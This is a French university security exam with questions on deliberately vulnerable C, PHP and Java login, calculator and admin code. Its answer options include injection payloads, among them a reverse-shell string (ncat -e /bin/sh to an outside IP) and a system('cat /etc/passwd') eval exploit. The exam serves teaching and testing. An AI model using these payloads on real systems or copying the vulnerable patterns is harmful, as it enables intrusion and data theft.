+1/1/60+

Jean Privat — UQAM

INF600C — Sécurité des logiciels et exploitation de vulnérabilités

Examen Intra — Hiver 2019

Mercredi 6 mars — Durée 3 heures

☐0 ☐0 ☐0 ☐0 ☐0 ☐0 ☐0 ☐0
☐1 ☐1 ☐1 ☐1 ☐1 ☐1 ☐1 ☐1
☐2 ☐2 ☐2 ☐2 ☐2 ☐2 ☐2 ☐2
☐3 ☐3 ☐3 ☐3 ☐3 ☐3 ☐3 ☐3
☐4 ☐4 ☐4 ☐4 ☐4 ☐4 ☐4 ☐4
☐5 ☐5 ☐5 ☐5 ☐5 ☐5 ☐5 ☐5
☐6 ☐6 ☐6 ☐6 ☐6 ☐6 ☐6 ☐6
☐7 ☐7 ☐7 ☐7 ☐7 ☐7 ☐7 ☐7
☐8 ☐8 ☐8 ☐8 ☐8 ☐8 ☐8 ☐8
☐9 ☐9 ☐9 ☐9 ☐9 ☐9 ☐9 ☐9

← Codez les 8 chiffres de votre code permanent ci-contre, et inscrivez-le à nouveau ci-dessous avec vos nom et prénom.

Code permanent :

.....

Nom :

.....

Prénom :

.....

Aucun document n'est autorisé. L'usage de la calculatrice ou tout autre appareil électronique est interdit.

Les questions faisant apparaître le symbole ♣ peuvent présenter zéro, une ou plusieurs bonnes réponses. Les autres ont une unique bonne réponse.

Des points négatifs pourront être affectés à de *très mauvaises* réponses.

Important : noircissez complètement l'intérieur de chaque case (pas de croix, pas de cercles).

Généralités

Question 1 Que signifie le W dans CWE ?

- ☐ Warning
- ☐ Web
- ☐ Wasp
- ☐ Windows
- ☐ Wide
- ☐ Widespread
- ☐ Wild
- ☐ Weakness

Question 2 Quand est-ce qu'un logiciel a une vulnérabilité de type « suivi de liens » (*link following)* ?

- ☐ Il utilise une liste chainée que l'utilisateur peut corrompre.
- ☐ Il offre à l'utilisateur d'accéder à une URL externe non contrôlée ou non vérifiée.
- ☐ Il permet à l'utilisateur d'injecter du SQL qui lui permet d'accéder frauduleusement à une base de donnée liée.
- ☐ Il désérialise des instances d'objets sans vérifier la conformité des attributs associés.
- ☐ Il permet à l'utilisateur de contrôler l'éditeur de lien dynamique pour injecter une bibliothèque vulnérable.
- ☐ Il accède à une ressource à travers un nom de fichier sans vérifier que ce n'est pas un lien vers une ressource imprévue.

Login en C

Sur la machine locale, un programme `login` peut-être exécuté avec des droits d'un utilisateur `syslogin` grâce au bit setuid.

```
drwxr-xr-x 2 syslogin syslogin  4096 fév 28 11:03 config/
-rw-r----- 1 syslogin syslogin  1007 fév 28 11:03 config/pass
-rwsr-x--- 1 syslogin syslogin 16744 fév 28 11:04 login
-rw-r--r-- 1 syslogin syslogin   743 fév 28 10:55 login.c
-rw-r----- 1 syslogin syslogin    31 fév 28 11:04 secret.txt
```

Le contenu de `login.c` est le suivant :

```
1  #include<stdlib.h>
2  #include<stdio.h>
3  #include<unistd.h>
4  // Vérifie si l'utilisateur `user` avec le mot de passe `pass` existe
5  int checkpass(char *user, char *pass) {
6    char cmd[1024] = "";
7    int res;
8    char *hash = crypt(pass, "R4nd0m"); // hache et sale le mot de passe
9    // cherche "user:hash" dans le fichier de mot de passe
10   res = snprintf(cmd, 1024, "/bin/grep '%s:%s' config/pass >/dev/null", user, hash);
11   if (res>=1024) return 0; // contrôle de débordement
12   //puts(cmd); // débogage
13   int retour = system(cmd); // exécution effective du grep
14   return retour == 0;
15 }
16
17 int main(int argc, char **argv) {
18   if(argc == 3 && checkpass(argv[1], argv[2])) system("cat secret.txt");
19   return 0;
20 }
```

Le manuel de snprintf(3) indique

> int snprintf(char *str, size_t size, const char *format, ...) ;
>
> En cas de succès, cette fonction renvoie le nombre de caractères écrits (sans compter l'octet nul final utilisé pour terminer les sorties dans les chaînes). La fonction snprintf() n'écrit pas plus de size octets (y compris l'octet nul final). Si la sortie a été tronquée à cause de la limite, la valeur de retour est le nombre de caractères (octet nul final non compris) qui auraient été écrits dans la chaîne s'il y avait eu suffisamment de place. Ainsi, une valeur de retour size ou plus signifie que la sortie a été tronquée.

Le manuel de crypt(3) indique

> char *crypt(const char *key, const char *salt) ;
>
> La fonction crypt est celle utilisée pour le cryptage des mots de passe. Elle est basée sur l'algorithme DES (« Data Encryption Standard ») avec des variantes prévues entre autres choses pour éviter l'implémentation matérielle d'un casseur de code.

Le manuel de grep(1) indique

> grep [OPTIONS] MOTIF [FICHIER...]
>
> grep recherche dans les FICHIERs indiqués les lignes correspondant à un certain MOTIF. Par défaut, grep affiche les lignes qui contiennent une correspondance au motif. L'entrée standard est lue si FICHIER est omis ou si FICHIER vaut « - ». Par défaut, MOTIF est interprété comme une expression rationnelle simple (BRE). Le code de sortie vaut 0 si des lignes sont trouvées et 1 si aucune n'est trouvée. Si une erreur survient, le code de sortie vaut 2.

Le manuel de system(3) indique

> int system(const char *command) ;
>
> La fonction system() exécute la commande indiquée dans command en appelant /bin/sh -c command, et revient après l'exécution complète de la commande. Durant cette exécution, le signal SIGCHLD est bloqué, et les signaux SIGINT et SIGQUIT sont ignorés. La valeur renvoyée est -1 en cas d'erreur (par exemple échec de fork(2)) ou le code de retour de la commande en cas de succès.

Question 3 ♣

Parmi les fragilités suivantes, lesquelles peut-on exploiter dans le programme `login` pour que `checkpass` retourne 1 et ainsi obtenir le contenu du fichier `secret.txt` ?

- ☐ CWE-185 : Expression régulière incorrecte ou non fiable
- ☐ CWE-120 : Débordement de tampon ('Buffer Overflow')
- ☐ CWE-521 : Faibles exigences des mots de passe
- ☐ CWE-22 : Limitation incorrecte d'un chemin vers un répertoire restreint (Traversée de chemins/*Path Traversal*)
- ☐ CWE-134 : Utilisation d'un format de chaine (*Format String*) non fiable
- ☐ CWE-193 : Erreur d'une unité (*Off-by-one Error*)
- ☐ CWE-489 : Reste de code de débogage
- ☐ CWE-426 : Chemin de recherche non fiable (PATH)
- ☐ CWE-77 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande (Injection de commandes)
- ☐ CWE-769 : Épuisement de descripteurs de fichiers
- ☐ CWE-760 : Utilisation d'une fonction de hachage avec un sel prédictible
- ☐ CWE-483 : Délimitation incorrecte de bloc
- ☐ *Aucune de ces réponses n'est correcte.*

Question 4 Décrivez un moyen pour obtenir le contenu de `secret.txt` en exploitant le programme `login`.

☐0 ☐ ☐ ☐ ☐ ☐5

.....

.....

.....

.....

Question 5 Décrivez un autre moyen pour obtenir le contenu de `secret.txt` en exploitant le programme `login`. (Vous devez exploiter une autre vulnérabilité)

☐0 ☐ ☐ ☐ ☐ ☐5

.....

.....

.....

.....

Question 6 ♣ À part afficher le secret, quels impacts techniques peut espérer obtenir un attaquant en exploitant le programme `login` ?

- ☐ Modifier le contenu de `config/pass`.
- ☐ Exécuter une commande shell en root.
- ☐ Créer de nouveaux utilisateurs.
- ☐ Créer de nouveaux fichiers `dans config/`.
- ☐ Afficher le contenu de `config/pass`.
- ☐ Modifier le contenu de `/etc/passwd`.
- ☐ Lister directement tous les mots de passe en clair des utilisateurs.
- ☐ Compiler une nouvelle version de `grep`, avec un backdoor par exemple.
- ☐ Après bricolage, récupérer les mots de passe de tous les utilisateurs futurs du programme.
- ☐ *Aucune de ces réponses n'est correcte.*

Login en SQL et PHP

Un programme PHP effectue une requête SQL de la façon suivante :

```
1  <?php
2  include "util.php";
3
4  function checkpass($login, $pass) {
5    global $sql;
6    $hash = password_hash($pass, PASSWORD_DEFAULT);
7    $q = "SELECT * FROM TABLE users WHERE login='$login' AND hash='$hash';";
8    $res = $sql->query($q);
9    return $res->num_rows > 0;
10 }
11 ?>
```

Comme l'utilisateur contrôle le contenu des arguments `$login` et `$pass`, quelles valeurs de `$login` ET `$pass` pourraient permettre à un attaquant de se connecter ?

Question 7 Pour `$login` ?

- ☐ « `*` »
- ☐ « `' OR 1=1; --` »
- ☐ « `'; system("true"); --` »
- ☐ « `login[]=` »
- ☐ « `0 OR 0=0; --` »
- ☐ « `'; ncat -e /bin/sh 132.208.246.6 6666; --` »
- ☐ « `null` »
- ☐ « `'; DROP TABLE students; --` »
- ☐ La valeur de $login n'est pas importante

Question 8 Pour `$pass` ?

- ☐ « `pass[]=` »
- ☐ « `'; system("true"); --` »
- ☐ « `0 OR 0=0; --` »
- ☐ « `' OR 1=1; --` »
- ☐ « `'; ncat -e /bin/sh 132.208.246.6 6666; --` »
- ☐ « `*` »
- ☐ « `null` »
- ☐ « `'; DROP TABLE students; --` »
- ☐ La valeur de $pass n'est pas importante

Question 9 Quelle correction le programmeur devrait mettre en place pour sécuriser son programme ?

- ☐ Utiliser correctement des requêtes SQL préparées.
- ☐ Utiliser correctement « `return $res->num_rows == 1` »
- ☐ Filtrer correctement le caractère « ;» dans $user et $pass
- ☐ Utiliser correctement « `return $res->num_rows === 1` »
- ☐ Filtrer correctement le caractère «$» dans $user et $pass

Contrôle d'accès en Java

Soit le programme Java suivant.

```
1  class Auth {
2    Utilisateur utilisateur;
3    boolean estAuthentifié;
4    Ressource ressource;
5    boolean estAutorisé;
6    public static void main(String[] args) {
7      Auth auth = new Auth();
8      while(true) auth.run();
9    }
10   void run() {
11     String action = Système.lire("Action");
12     if (action.equals("identifie"))
13       identifie();
14     else if (action.equals("authentifie"))
15       authentifie();
16     else if (action.equals("ressource"))
17       ressource();
18     else if (action.equals("autorise"))
19       autorise();
20     else if (action.equals("accède"))
21       accède();
22     else
23       System.out.println("action inconnue");
24   }
25   public void identifie() {
26     String nom = Système.lire("Nom");
27     utilisateur = Système.getUtilisateur(nom);
28     estAuthentifié = false;
29   }
30   public void authentifie() {
31     String passe =
32       Système.lire("Mot de passe");
33     estAuthentifié =
34       Système.valide(utilisateur.nom, passe);
35   }
36
37   public void ressource() {
38     String numéro = Système.lire("Numéro");
39     try {
40       long n = Long.parseLong(numéro);
41       ressource = Système.getRessource(n);
42     } catch (Exception e) { return; }
43     if (!estAuthentifié) ressource = null;
44     estAutorisé = false;
45   }
46   public void autorise() {
47     estAutorisé = false;
48     if (utilisateur == null || ressource == null)
49       return;
50     if (utilisateur.estAdmin()) estAutorisé = true;
51     if (ressource.estPublic()) estAutorisé = true;
52   }
53   public void accède() {
54     if (ressource == null)
55       System.out.println("404 non trouvé");
56     else if (!estAutorisé)
57       System.out.println("403 interdit");
58     else if (ressource.estPublic())
59       System.out.println("200 OK");
60     else System.out.println(Système.SECRET);
61   }
62 }
63 class Utilisateur {
64   String nom;
65   boolean estAdmin() { return nom.equals("admin"); }
66   Utilisateur(String n) { nom = n; }
67 }
68 class Ressource {
69   long numéro;
70   boolean estPublic() { return numéro > 0; }
71   Ressource(long n) { numéro = n; }
72 }
```

Ainsi que la documentation de la classe Système.

```
1  /** Classe utilitaire. */
2  class Système {
3    /** Affiche l'invite, lit une ligne de l'entrée et retourne la ligne. */
4    static String lire(String invite);
5    /** Retourne l'utilisateur nommé nom. Ou null s'il n'existe pas. */
6    static Utilisateur getUtilisateur(String nom);
7    /** Vérifie sécuritairement si pass est le mot de passe de l'utilisateur nommé nom. */
8    static boolean valide(String nom, String pass);
9    /** Retourne la ressource numérotée no. Ou null si elle n'existe pas. */
10   static Ressource getRessource(long no);
11   /** Un secret. */
12   static String SECRET;;
13 }
```

Question 10 Quelle stratégie permet de faire un DOS (déni de service) ?

- ☐ Accéder sans être identifié
- ☐ Accéder sans être authentifié
- ☐ Autoriser de nombreuses fois, très rapidement
- ☐ Authentifier sans être identifié
- ☐ Identifier de nombreuses fois, très rapidement
- ☐ Accéder de nombreuses fois, très rapidement
- ☐ Authentifier de nombreuses fois, très rapidement
- ☐ Autoriser sans être identifié

Question 11 On connait seulement l'utilisateur `guest` avec le mot de passe `guest`. Donnez une séquence d'actions (l'entrée complète) qui permet d'afficher le secret.

☐0 ☐A ☐B ☐C ☐D ☐E

.....

.....

.....

.....

.....

.....

Calculatrice en PHP

Voici le code source de ma super calculatrice interactive `calc.php` :

```
1  <html><body>
2  Ma première calculatrice (chiffres, le point et les 4 opérations de base):
3
4  <form> <!-- note perso: l'attribut pattern limite les caractères autorisés. -->
5  <input type="text" name="expr" pattern="[0-9.+*/-]*">
6  <input type="submit" value="=">
7  </form>
8
9  <?php
10 if (isset($_GET['expr'])) {
11   $expr = $_GET['expr'];
12   $res = eval("return $expr;");
13   if ($res === false) {
14     echo "<p>Erreur de syntaxe: $expr</p>";
15   } else {
16     echo "<p>Résultat: $expr = $res</p>";
17   }
18 }
19 ?>
20 </body></html>
```

Un hacker visite la page `http://calc.php?expr=system("cat /etc/passwd")` ce qui ajoute le contenu du fichier /etc/password dans la page HTML.

Question 12 ♣ Quelles vulnérabilités le hacker a-t-il exploitée ? Note : ne cochez pas toutes les vulnérabilités présentes, seulement celles exploitées par le hacker.

- ☐ CWE-565 : Recours aux cookies sans validation ni vérification de l'intégrité
- ☐ CWE-425 : Requête HTTP directe (navigation forcée)
- ☐ CWE-73 : Contrôle extérieur des noms de fichiers ou des chemins
- ☐ CWE-94 : Contrôle incorrect de la fabrication de code (injection de code)
- ☐ CWE-602 : Contrôle de sécurité du serveur faite coté client (*client-side enforcement of server-side security*)
- ☐ CWE-89 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (Injection SQL Injection)
- ☐ CWE-918 : Falsification de requête coté serveur (*server-side request forgery*)
- ☐ CWE-502 : Déserialisation de donnée non fiable
- ☐ *Aucune de ces réponses n'est correcte.*

Finalement, ne pas limiter aux 4 opérations et avoir accès à tous les mécanismes PHP c'est intéressant et permet d'utiliser des fonctions comme `cos` ou `sqrt`. On décide alors de protéger de l'exploit du hacker ajoutant la ligne suivante entre les lignes 11 et 12 ce qui a pour effet d'enlever le mot `system` de l'expression à évaluer.

```
$expr = preg_replace("/system/", "", $expr);
```

On enlève aussi l'attribut `pattern` du champ `expr` du formulaire web.

Avec un tel changement, pour l'url du hacker, le site donne maintenant :

```
<p>Résultat: ("cat /etc/passwd") = cat /etc/passwd</p>
```

Question 13 ♣ Quelles vulnérabilités reste-t-il dans le logiciel ? Note : sélectionnez toutes les vulnérabilités exploitables restantes après l'ajout du `preg_replace`.

- ☐ CWE-89 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (Injection SQL Injection)
- ☐ CWE-73 : Contrôle extérieur des noms de fichiers ou des chemins
- ☐ CWE-602 : Contrôle de sécurité du serveur faite coté client (*client-side enforcement of server-side security*)
- ☐ CWE-94 : Contrôle incorrect de la fabrication de code (injection de code)
- ☐ CWE-502 : Déserialisation de donnée non fiable
- ☐ CWE-565 : Recours aux cookies sans validation ni vérification de l'intégrité
- ☐ CWE-918 : Falsification de requête coté serveur (*server-side request forgery*)
- ☐ CWE-425 : Requête HTTP directe (navigation forcée)
- ☐ *Aucune de ces réponses n'est correcte.*

Question 14 Proposez un exploit pour récupérer, malgré tout, le contenu du fichier `/etc/passwd`

☐0 ☐A ☐B ☐C ☐D ☐E

.....

.....

.....

.....

.....

Administration en PHP

Voici le contenu de la page d'accueil `index.php` :

```
<?php session_start(); ?>
<html><body>
<a href="index.php">Accueil</a>
<a href="apropos.php">À propos</a>
<?php
include "util.php";
$user = $_SESSION['user'];
if ($user) {
  if (is_admin($user))
    echo('<a href="admin.php">Console d´administration</a> ');
  echo '<a href="logout.php">Se déconnecter</a> ';
} else {
  echo '<a href="login.php">Se Connecter</a>';
}
?>
</body></html>
```

Voici le contenu de la page d'authentification `login.php` :

```
<?php
session_start();
if(isset($_GET['user'])) {
  $user = $_GET['user'];
  $pass = str_rot13(base64_encode($_GET['pass']));
  $db = new SQLite3("/var/database.db");
  $stmt = $db->prepare("SELECT * FROM users WHERE name=:user AND pass=:pass;");
  $stmt->bindValue(':user', $user, SQLITE3_TEXT);
  $stmt->bindValue(':pass', $pass, SQLITE3_TEXT);
  $ret = $stmt->execute();
  if($ret->numRows()>0) $_SESSION['user'] = $user;
}
?>
<body><html><form>
<input type=text name=user> <input type=password name=pass>
<input type=submit value="login!">
</form></body></html>
```

Voici le contenu de la page d'administration `admin.php` :

```
<h1>Console d'administration</h1>
<form>
<select name=file>
  <option value="log.txt">Journaux</option>
  <option value="config.txt">Configuration</option>
  <option value="secret.txt">???</option>
</select>
<input type="submit" value="get">
</form>
<?php
if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $content = file("/admin/$file");
  echo "<pre>$content</pre>";
}
?>
```

Question 15 ♣ Quelle vulnérabilité permet à un visiteur normal, qui n'a pas de compte, d'accéder au secret ?

- ☐ CWE-918 : Falsification de requête coté serveur (*server-side request forgery*)
- ☐ CWE-502 : Déserialisation de donnée non fiable
- ☐ CWE-89 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (Injection SQL Injection)
- ☐ CWE-425 : Requête HTTP directe (navigation forcée)
- ☐ CWE-602 : Contrôle de sécurité du serveur faite coté client (*client-side enforcement of server-side security*)
- ☐ CWE-73 : Contrôle extérieur des noms de fichiers ou des chemins
- ☐ CWE-94 : Contrôle incorrect de la fabrication de code (injection de code)
- ☐ CWE-565 : Recours aux cookies sans validation ni vérification de l'intégrité
- ☐ *Aucune de ces réponses n'est correcte.*

Question 16 ♣ À part afficher le secret, quels impacts techniques peut espérer obtenir un visiteur qui n'a pas de compte ?

- ☐ Exécuter une instruction PHP arbitraire.
- ☐ Afficher le contenu de `util.php`.
- ☐ Modifier le contenu de `/etc/password`.
- ☐ Créer de nouveaux utilisateurs.
- ☐ Afficher le contenu de `/etc/password`.
- ☐ Modifier le contenu de `util.php`.
- ☐ Exécuter une commande shell.
- ☐ *Aucune de ces réponses n'est correcte.*

Question 17 Proposez une stratégie qui permet à un attaquant d'obtenir tous les utilisateurs et leurs mots de passe en clair.

☐0 ☐A ☐B ☐C ☐D ☐E

.....

.....

.....

.....

.....

.....

.....

.....

.....